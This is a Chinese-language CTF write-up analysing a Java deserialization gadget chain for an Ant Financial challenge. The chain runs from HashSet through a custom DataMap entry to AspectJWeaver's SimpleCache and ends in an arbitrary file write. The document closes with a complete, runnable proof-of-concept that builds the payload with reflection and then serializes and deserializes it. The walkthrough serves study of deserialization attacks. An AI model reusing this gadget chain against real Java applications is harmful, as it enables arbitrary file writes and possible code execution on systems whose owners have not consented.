前言

看到蚂蚁金服出了一个java web题目no rce 题目源码 ,文中的jdbc mysql 反序列化 和 AspectJWeaver反序列化在之前的文章中都有分析。本文章主要分析下出题人利用datamap替换了cc链中的lazymap来构造利用链。题目witreup

分析&构造

具体的lazymap利用链再上一篇文章中已经给出了分析。这里在hashset -> hashmap 以及最后SimpleCache.put()触发这部分都不在分析,直接复制过来用即可。主要分析datamap的触发流程。

1
2
3
4
5
6
7
8
9
HashSet.readObject()
HashMap.put()
HashMap.hash()
DataMap$Entry.hashcode
DataMap$Entry.getValue()
DataMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

首先我们看datamp的实现

image-20210312111446859

通过给出的利用链我们可以知道主要是使用DataMap.get()触发整个流程

image-20210312111607189

对比lazymap 可以看到我们这里要使用到的两个点 this.wrapperMap.get(key) this.values.put() 前者是为了传入content的值,后者是为了触发StorableCachingMap.put()到最后的写文件流程。

根据datamap的构造方法可以明白我们要创建一个Datamap() 切需要构造wrapperMap和values两个值满足上述的条件。于是有:

1
DataMap dataMap = new DataMap(wrapperMap,(Map)simpleCache);

又因为需要通过this.wrapperMap.get(key) 获取到content所以我们要创建这样一个hashMap()以便操作。

1
2
HashMap wrapperMap = new HashMap();
wrapperMap.put(path,content);

通过this.wrapperMap.get(key) 获取到content内容。 在之前的AspectJWeaver利用链分析中我们知道最后传入两个参数也就是put中对应的两个参数 key为 文件上传的路径 v为文件写入的内容。现在content已经想办法通过hashMap.get方法传入了,那么key这个值我们如何传入呢?

在DataMap中实现了Entry这样一个私有类,他在实例话的时候获取了一个参数并给this.key赋值然后通过getValue方法触发DataMap.this.get(this.key)将path参数传入。

image-20210312112348193

于是有如下代码:

1
2
3
Constructor ctorEntry = Class.forName("CTF.checker.DataMap$Entry").getDeclaredConstructors()[0];
ctorEntry.setAccessible(true);
Object entry = ctorEntry.newInstance(dataMap,path);

最后看下DataMap$Entry.hashCode()

image-20210312112815246

可以看到这里调用了this.getValue()至此整个反序列化构成。

1
2
3
DataMap$Entry.hashcode
DataMap$Entry.getValue()
DataMap.get()

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package CTF

import checker.DataMap;
import cn.hutool.core.codec.Base64;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;


/**
* HashSet.readObject()
* HashMap.put()
* HashMap.hash()
* DataMap$Entry.hashcode
* DataMap$Entry.getValue()
* DataMap.get()
* SimpleCache$StorableCachingMap.put()
* SimpleCache$StorableCachingMap.writeToPath()
* FileOutputStream.write()
*/

public class AspectJWeaver {

public static void main(String[] args) throws Exception {
byte[] content = Base64.decode("YWhpaGloaQ==");
String path = "/tmp/1.txt";

Class aspectJWeaver = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor ctor = aspectJWeaver.getDeclaredConstructor(String.class, int.class);
ctor.setAccessible(true);
Object simpleCache = ctor.newInstance("", 2);

HashMap wrapperMap = new HashMap();
wrapperMap.put(path,content);

DataMap dataMap = new DataMap(wrapperMap,(Map)simpleCache);

Constructor ctorEntry = Class.forName("checker.DataMap$Entry").getDeclaredConstructors()[0];
ctorEntry.setAccessible(true);
Object entry = ctorEntry.newInstance(dataMap,path);

HashSet hashSet = new HashSet(1);
hashSet.add("foo");

Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(hashSet);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);

Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

keyField.setAccessible(true);
keyField.set(node, entry);


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(hashSet);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
ois.readObject();

}
}